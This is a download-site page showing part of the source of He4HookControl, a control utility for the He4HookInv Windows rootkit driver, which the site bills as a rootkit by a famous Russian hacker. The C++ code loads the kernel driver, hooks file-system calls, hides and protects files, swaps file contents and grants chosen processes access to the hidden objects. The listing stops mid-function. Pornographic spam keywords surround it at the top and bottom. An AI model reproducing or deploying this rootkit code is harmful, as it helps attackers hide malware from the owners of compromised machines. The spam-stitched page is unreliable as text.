亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? main.cpp

?? 爾羅斯著名黑客寫的rootkit
?? CPP
?? 第 1 頁 / 共 2 頁
字號:
#define STRICT
//#define UNICODE
//#define _UNICODE

#include <windows.h>
#include <conio.h>
#include <stdio.h>

#include "..\..\He4HookDriverHide\He4HookDriverHide.hpp"
#include "..\..\..\NtDllTest\NtProcessList.h"
//#include "..\He4HookControlDll\ShareMemory.h"
//#include "..\He4HookControlDll\He4Message.h"

#define HE4_SERVICE_NAME           "He4HookInv"
#define HE4_SERVICE_FILE_NAME      "He4HookInv.sys" 

void ConsoleErrorMessage(void);
void ShowDeviceCurrentVersion(void);
void ShowHelp(void);
void ShowProtectedFiles(He4HookDriverHide* pNtDriverControl);
void AddProcessToUnLockList(char* pszProcessFileName, He4HookDriverHide* pNtDriverControl);
void DeleteProcessFromUnLockList(char* pszProcessFileName, He4HookDriverHide* pNtDriverControl);
void ShowUnlockThreads(He4HookDriverHide* pNtDriverControl);
BOOL InstallNewDriver(He4HookDriverHide* pNtDriverControl);
BOOL EnableDebugPriv(VOID);
void ShowStatistic(He4HookDriverHide* pNtDriverControl);

DWORD GetVersion(DWORD *pdwVer);
DWORD GetLocalBase(DWORD *pdwBase);


He4HookDriverHide* pNtDriverControl = NULL;
BOOL               bForceLoadDriver = FALSE;
BOOL               bShowProtectedFiles = FALSE;
int                bHookFileSystem = -1;
BOOL               bLockSaveObjectsForAllThreads = FALSE;
BOOL               bClearSaveList = FALSE;
DWORD              dwFileAccessType = 0;
DWORD              dwProcessAccessType = HE4_UNLOCK_READ | HE4_UNLOCK_WRITE | HE4_UNLOCK_DELETE | HE4_UNLOCK_VISIBLE;
BOOL               bShowUnlockThreadInfo = FALSE;
BOOL               bShowStatistic = FALSE;

//
// -h              - Show help
// -i:n            - Install driver type: 
//                   n = 0  - open exist driver (default)
//                   n != 0 - load new image driver force.
// -s              - Show protected files
// -u:process_name - Add process to unlock list
// -l:process_name - Remove process from unlock list
// -cp:_string_    - Access type for process:
//                   R - read
//                   W - write
//                   D - delete
//                   V - visible
//                   (Example: -c:RV)
// -la             - Remove all processes from unlock list
// -hk:n           - Hook/Unhook file system:
//                   n = 1 - hook Zw*/Nt* func.\n\
//                   n = 2 - hook DRIVER_OBJECT\n\
// -a:             - Add file to save list
// -d:             - Delete file from save list
// -da             - Delete all files from save list
// -c:             - Access type
// -t              - Show unlock thread info
// -q              - Show statistic
//

//#pragma pack(push)
//#pragma pack(16)
//typedef struct _TEST_ALIGN
//{
//  char    m_Symbol;
//  __int64    m_Long;
//} TEST_ALIGN, *PTEST_ALIGN;
//#pragma pack(pop)

int main(int nCountArg, char* lpszArg[], char* lpszEnv[])
{
//  EnableDebugPriv();
//  CSharedMemory cSharedMemory;
//
//  if (cSharedMemory.Open(HE4_CONTROL_DLL_SHARED_MEMORY, 4096, 100))
//  {
//    char Msg[2048];
//    PHE4_CONTROL_MSG pMsg = (PHE4_CONTROL_MSG) Msg;
//    
//    pMsg->m_dwMessageId = 2;
//    strcpy((char*)pMsg->m_MessageBody, "D:\\tmp\\guard\\He4HookInv.sys");
//    pMsg->m_dwSizeByBytes = SIZE_OF_HE4_CONTROL_MSG_REAL + strlen((char*) pMsg->m_MessageBody) + sizeof(char);
//
//    cSharedMemory.Write(pMsg, pMsg->m_dwSizeByBytes, 500);
//
//    memset(Msg, 0, sizeof(Msg));
//
//    cSharedMemory.Write(pMsg, pMsg->m_dwSizeByBytes, 500);
//
//
//
//    cSharedMemory.Close();
//    printf("He4Dev@hotmal.com\n\n");
//  }
  
//  TEST_ALIGN  TestAlign;
//  PTEST_ALIGN pTestAlign = &TestAlign;
//  PCHAR pSymbol = (PCHAR)&(pTestAlign->m_Symbol);
//  PCHAR pLong = (PCHAR)&(pTestAlign->m_Long);
//  int nRest = pLong-pSymbol;

  printf("\nHe4HookControl v2.03 - control utility for He4HookInv\n");
  printf("Copyright (C) 2000 He4 developers team\n");
  printf("He4Dev@hotmail.com\n\n");

  ShowDeviceCurrentVersion();

  if (nCountArg <= 1)
  {
    ShowHelp();
    return 0;
  }

  for (int i=1; i<nCountArg; i++)
  {
    if (!stricmp(lpszArg[i], "-h"))
    {
      ShowHelp();
    }
    if (!strnicmp(lpszArg[i], "-i:", 3))
    {
      if (strlen(lpszArg[i]) > 3)
        bForceLoadDriver = (BOOL)atoi(lpszArg[i]+3);
    }
    if (!stricmp(lpszArg[i], "-s"))
    {
      bShowProtectedFiles = TRUE;
    }
    if (!strnicmp(lpszArg[i], "-hk:", 4))
    {
      if (strlen(lpszArg[i]) > 4)
        bHookFileSystem = atoi(lpszArg[i]+4);
    }
    if (!strnicmp(lpszArg[i], "-c:", 3))
    {
      if (strlen(lpszArg[i]) > 3)  
      {
        dwFileAccessType = 0;
        char* pszAcc = lpszArg[i]+3;
        for (; *pszAcc; pszAcc++)
        {
          if (*pszAcc == 'R' || *pszAcc == 'r')
            dwFileAccessType |= ACC_TYPE_READ;
          if (*pszAcc == 'W' || *pszAcc == 'w')
            dwFileAccessType |= ACC_TYPE_WRITE;
          if (*pszAcc == 'D' || *pszAcc == 'd')
            dwFileAccessType |= ACC_TYPE_DELETE;
          if (*pszAcc == 'V' || *pszAcc == 'v')
            dwFileAccessType |= ACC_TYPE_VISIBLE;
          if (*pszAcc == 'E' || *pszAcc == 'e')
            dwFileAccessType |= FILE_ACC_TYPE_EXCHANGE;
        }
      }
    }
    if (!strnicmp(lpszArg[i], "-cp:", 4))
    {
      if (strlen(lpszArg[i]) > 4)  
      {
//        dwFileAccessType = 0;
        char* pszAcc = lpszArg[i]+4;
        dwProcessAccessType = 0;
        for (; *pszAcc; pszAcc++)
        {
          if (*pszAcc == 'R' || *pszAcc == 'r')
            dwProcessAccessType |= HE4_UNLOCK_READ;
          if (*pszAcc == 'W' || *pszAcc == 'w')
            dwProcessAccessType |= HE4_UNLOCK_WRITE;
          if (*pszAcc == 'D' || *pszAcc == 'd')
            dwProcessAccessType |= HE4_UNLOCK_DELETE;
          if (*pszAcc == 'V' || *pszAcc == 'v')
            dwProcessAccessType |= HE4_UNLOCK_VISIBLE;
        }
      }
    }
    if (!stricmp(lpszArg[i], "-la"))
      bLockSaveObjectsForAllThreads = TRUE;
    if (!stricmp(lpszArg[i], "-da"))
      bClearSaveList = TRUE;
    if (!stricmp(lpszArg[i], "-t"))
      bShowUnlockThreadInfo = TRUE;
    if (!stricmp(lpszArg[i], "-q"))
      bShowStatistic = TRUE;
  }


  TCHAR szExeFileName[2048];
  TCHAR szDeviceFileName[2048];

  GetModuleFileName(NULL, szExeFileName, 2048);

  TCHAR drive[_MAX_DRIVE];   
  TCHAR dir[_MAX_DIR];
  TCHAR fname[_MAX_FNAME];   
  TCHAR ext[_MAX_EXT];

  _splitpath(szExeFileName, drive, dir, fname, ext);
  lstrcpy(szDeviceFileName, _T("\\??\\"));
  _makepath(szDeviceFileName+sizeof(_T("\\??\\"))-sizeof(TCHAR), drive, dir, HE4_SERVICE_FILE_NAME, _T(""));

  pNtDriverControl = new He4HookDriverHide(szDeviceFileName);
  if (pNtDriverControl == NULL)
  {
    printf("\nNo memory for create class He4HookDriverHide!!!\n");
    return -1;
  }

  if (pNtDriverControl->Result == FALSE)
  {
    delete pNtDriverControl;
    printf("\nCreate class He4HookDriverHide - ERROR!!!\n");
    return -1;
  }

  if (bForceLoadDriver)
  {
    if (InstallNewDriver(pNtDriverControl) == FALSE)
    {
      delete pNtDriverControl;
      printf("\nLoad new driver - ERROR!!!\n");
      return -1;
    }

    bShowProtectedFiles = TRUE;
    
    printf("\nNew version driver:\n");
    ShowDeviceCurrentVersion();
  }

  if (bHookFileSystem != -1)
  {
    DWORD dwDrivesMaskReal;
    if ((dwDrivesMaskReal = pNtDriverControl->HookFileSystem((DWORD)bHookFileSystem)) == (DWORD)-1)
    {
      if (bHookFileSystem)
        printf("Hook file system - ERROR!!!\n");
      else
        printf("Unhook file system - ERROR!!!\n");
    }
    else
    {
      if (bHookFileSystem)
        printf("File system - hooked\n");
      else
        printf("File system - unhooked\n");
    }
  }

  if (bLockSaveObjectsForAllThreads == TRUE)
    pNtDriverControl->LockSaveObjectsForAllThreads();

  if (bClearSaveList == TRUE)
    pNtDriverControl->ClearSaveList();
  
  for (i=1; i<nCountArg; i++)
  {
    if (!strnicmp(lpszArg[i], "-u:", 3))
    {
      if (strlen(lpszArg[i]) > 3)
      {
        AddProcessToUnLockList(lpszArg[i]+3, pNtDriverControl);
        bShowUnlockThreadInfo = TRUE;
      }
    }
    if (!strnicmp(lpszArg[i], "-l:", 3))
    {
      if (strlen(lpszArg[i]) > 3)
      {
        DeleteProcessFromUnLockList(lpszArg[i]+3, pNtDriverControl);
        bShowUnlockThreadInfo = TRUE;
      }
    }
    
    if (!strnicmp(lpszArg[i], "-a:", 3))
    {
      if (strlen(lpszArg[i]) > 3)
      {
        if (dwFileAccessType & FILE_ACC_TYPE_EXCHANGE)
        {
          char* pszFirstFile = strtok(lpszArg[i]+3, "=");
          if (pszFirstFile != NULL)
            pNtDriverControl->AddToSaveList(pszFirstFile, dwFileAccessType, strtok(NULL, "="));
        }
        else
          pNtDriverControl->AddToSaveList(lpszArg[i]+3, dwFileAccessType);
        bShowProtectedFiles = TRUE;
      }
    }
    if (!strnicmp(lpszArg[i], "-d:", 3))
    {
      if (strlen(lpszArg[i]) > 3)
      {
        pNtDriverControl->DelFromSaveList(lpszArg[i]+3);
        bShowProtectedFiles = TRUE;
      }
    }
  }

  if (bShowProtectedFiles)
  {
    printf("\nProtected files list:\n");
    ShowProtectedFiles(pNtDriverControl);
  }

  if (bShowUnlockThreadInfo)
  {
    ShowUnlockThreads(pNtDriverControl);
  }
  
  if (bShowStatistic)
  {
    ShowStatistic(pNtDriverControl);
  }


  delete pNtDriverControl;

  return 0;
}

void ShowHelp(void)
{
  printf("\n\
   -h                - Show help\n\
   -i:n              - Install driver type: \n\
                       n = 0  - open exist driver (default)\n\
                       n != 0 - load new image driver force.\n\
   -s                - Show protected files\n\
   -u:process_name   - Add process to unlock list\n\
   -l:process_name   - Remove process from unlock list\n\
   -cp:_string_      - Access type for process:\n\
                       R - read\n\
                       W - write\n\
                       D - delete\n\
                       V - visible\n\
                       (Example: -c:RV)\n\
   -la               - Remove all processes from unlock list\n\
   -hk:n             - Hook/Unhook file system:\n\
                       n = 0  - unhook\n\
                       n = 1 - hook Zw*/Nt* func.\n\
                       n = 2 - hook DRIVER_OBJECT\n\
   -a:full_file_name - Add file to save list\n\
   -d:full_file_name - Delete file from save list\n\
   -da               - Delete all files from save list\n\
   -c:_string_       - Access type for file:\n\
                       R - read\n\
                       W - write\n\
                       D - delete\n\
                       V - visible\n\
                       E - exchange (hook method = 1 (-hk:1))\n\
                       (Example: -c:RV)\n\
   -t                - Show unlock thread info\n\
   -q                - Show statistic\n\
   Examples:\n\
   He4HookControl.exe -a:c:\\MyFile -c:RV\n\
   He4HookControl.exe -a:c:\\MyFile=c:\\MyFileNew -c:ERV\n"
        );
}

void AddProcessToUnLockList(char* pszProcessFileName, He4HookDriverHide* pNtDriverControl)
{
  if (pszProcessFileName == NULL || pNtDriverControl == NULL)
    return;

  NTSTATUS           NtStatus;
  PROCESS_INFO       ProcInfo[1024];
  PPROCESS_INFO      lpProcInfo;
  ULONG              LehgthReturned = 0;
//  ULONG              i;

  NtStatus = NtGetProcessList(ProcInfo, sizeof(ProcInfo), &LehgthReturned);
  if (NtStatus == STATUS_SUCCESS)
  {
    lpProcInfo = ProcInfo;
    EnableDebugPriv();
    char szProcName[1024];
    while (1)
    {
      if (lpProcInfo->ProcessName.Buffer != NULL)

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
在线看不卡av| 欧美亚一区二区| 美女在线视频一区| 天堂av在线一区| 亚洲午夜精品网| 午夜激情一区二区| 三级影片在线观看欧美日韩一区二区 | 久热成人在线视频| 日本aⅴ亚洲精品中文乱码| 水蜜桃久久夜色精品一区的特点| 日韩在线卡一卡二| 久久66热re国产| 国产一区二区网址| 粉嫩欧美一区二区三区高清影视| 99r精品视频| 欧美久久高跟鞋激| 精品毛片乱码1区2区3区| 久久久久久免费网| 亚洲mv在线观看| 久久66热re国产| av成人老司机| 制服丝袜中文字幕亚洲| 26uuu久久天堂性欧美| 亚洲欧美日韩国产另类专区| 亚洲成a人在线观看| 国产主播一区二区三区| 一本一本久久a久久精品综合麻豆 一本一道波多野结衣一区二区 | 一区二区日韩av| 日韩精品亚洲专区| 成人黄色小视频在线观看| 91美女福利视频| 欧美成人福利视频| 亚洲欧美aⅴ...| 激情综合色丁香一区二区| 91在线观看美女| 日韩欧美亚洲另类制服综合在线| 日韩美女啊v在线免费观看| 日韩成人伦理电影在线观看| 白白色 亚洲乱淫| 日韩写真欧美这视频| 日韩精品一区二区三区四区| 亚洲啪啪综合av一区二区三区| 日本成人在线电影网| 成人综合激情网| 日韩一区二区三区四区五区六区| 国产精品的网站| 国产综合一区二区| 91精品国产综合久久久蜜臀图片| 亚洲欧洲精品一区二区三区| 寂寞少妇一区二区三区| 欧美日韩一区二区电影| 中文字幕一区av| 国产aⅴ精品一区二区三区色成熟| 宅男在线国产精品| 亚洲国产精品久久不卡毛片 | 国产成人一级电影| 91精品国产91久久综合桃花| 亚洲婷婷国产精品电影人久久| 国产精品99久久久久| 日韩欧美一区中文| 免费人成在线不卡| 在线成人小视频| 爽爽淫人综合网网站| 欧美日韩综合一区| 亚洲午夜av在线| 欧美在线视频全部完| 樱桃视频在线观看一区| 99精品视频一区| 国产精品欧美久久久久一区二区| 国产资源精品在线观看| 亚洲精品在线观看网站| 麻豆精品精品国产自在97香蕉| 678五月天丁香亚洲综合网| 午夜精品国产更新| 欧美日韩成人综合在线一区二区| 亚洲国产日日夜夜| 在线电影欧美成精品| 麻豆视频观看网址久久| 欧美zozo另类异族| 风间由美性色一区二区三区| 亚洲一区av在线| 欧美精品久久久久久久多人混战| 日韩激情一区二区| 日韩欧美的一区| 国产精品一区二区黑丝| 国产欧美一区二区三区沐欲| 99精品久久久久久| 亚洲综合网站在线观看| 欧美久久久久免费| 国内成+人亚洲+欧美+综合在线| 2023国产精品视频| 97久久精品人人澡人人爽| 夜夜嗨av一区二区三区中文字幕 | 久久99在线观看| 国产亚洲一二三区| 色天天综合久久久久综合片| 午夜a成v人精品| 国产亚洲1区2区3区| 欧美在线看片a免费观看| 亚洲精品日韩一| 欧美日韩精品专区| 国产一区二区三区在线观看免费视频| 国产精品久久久久精k8 | 国产精品白丝jk白祙喷水网站| 中文字幕人成不卡一区| 欧美日韩精品福利| 国产精品一二三区| 亚洲一级不卡视频| 久久久久久久综合日本| 欧美三区在线观看| 国产高清不卡二三区| 亚洲一区av在线| 欧美国产日韩一二三区| 欧美日韩一区二区三区在线看| 国产乱淫av一区二区三区| 一区二区三区中文免费| 国产亚洲欧美色| 91精品国产aⅴ一区二区| 99久久久精品免费观看国产蜜| 日本中文字幕一区二区视频| 亚洲人成精品久久久久久| 精品国产乱子伦一区| 欧美性猛片aaaaaaa做受| 国产不卡视频在线播放| 看片网站欧美日韩| 亚洲综合激情网| 国产精品美女久久久久aⅴ| 日韩你懂的在线观看| 欧美日韩亚洲综合| 在线日韩国产精品| 99在线精品一区二区三区| 国产精品一区二区久激情瑜伽| 蜜桃精品视频在线| 亚洲aaa精品| 亚洲国产cao| 亚洲国产精品人人做人人爽| 亚洲欧美乱综合| 亚洲少妇最新在线视频| 国产精品高潮呻吟| 中文字幕亚洲精品在线观看| 日本一二三四高清不卡| 久久综合久久99| 久久欧美中文字幕| 2020国产成人综合网| 日韩精品一区二区三区三区免费| 欧美挠脚心视频网站| 欧美日韩国产123区| 欧美三级三级三级爽爽爽| 欧美视频在线一区| 欧美无砖砖区免费| 欧美日韩国产美| 欧美日本在线观看| 7777精品伊人久久久大香线蕉完整版| 日本精品免费观看高清观看| 色老汉一区二区三区| 欧美一a一片一级一片| 欧美日韩色一区| 777xxx欧美| 26uuu精品一区二区三区四区在线| 久久综合久久鬼色| 中日韩av电影| 亚洲精品免费在线观看| 亚洲一二三区在线观看| 日韩高清电影一区| 国产一区福利在线| www.欧美色图| 欧美剧情电影在线观看完整版免费励志电影| 欧美日韩国产首页| 精品福利视频一区二区三区| 国产欧美日韩久久| 尤物av一区二区| 麻豆91在线播放| 国产福利一区二区三区视频在线| 成人激情黄色小说| 91高清在线观看| 精品国产凹凸成av人导航| 国产精品不卡视频| 五月开心婷婷久久| 丁香五精品蜜臀久久久久99网站 | 国产一区二区伦理片| 不卡在线视频中文字幕| 欧美日韩1234| 国产亚洲精品中文字幕| 亚洲最大成人网4388xx| 久久精品免费观看| 色综合天天视频在线观看| 欧美一区二区三区免费视频| 欧美激情一区二区在线| 日韩国产欧美三级| www.激情成人| 日韩欧美国产精品一区| 亚洲猫色日本管| 国产原创一区二区| 一本到不卡免费一区二区| 日韩精品一区二区三区在线观看| 国产精品进线69影院| 久久99国产精品久久| 欧美少妇xxx| 亚洲国产激情av| 久久精品国产免费|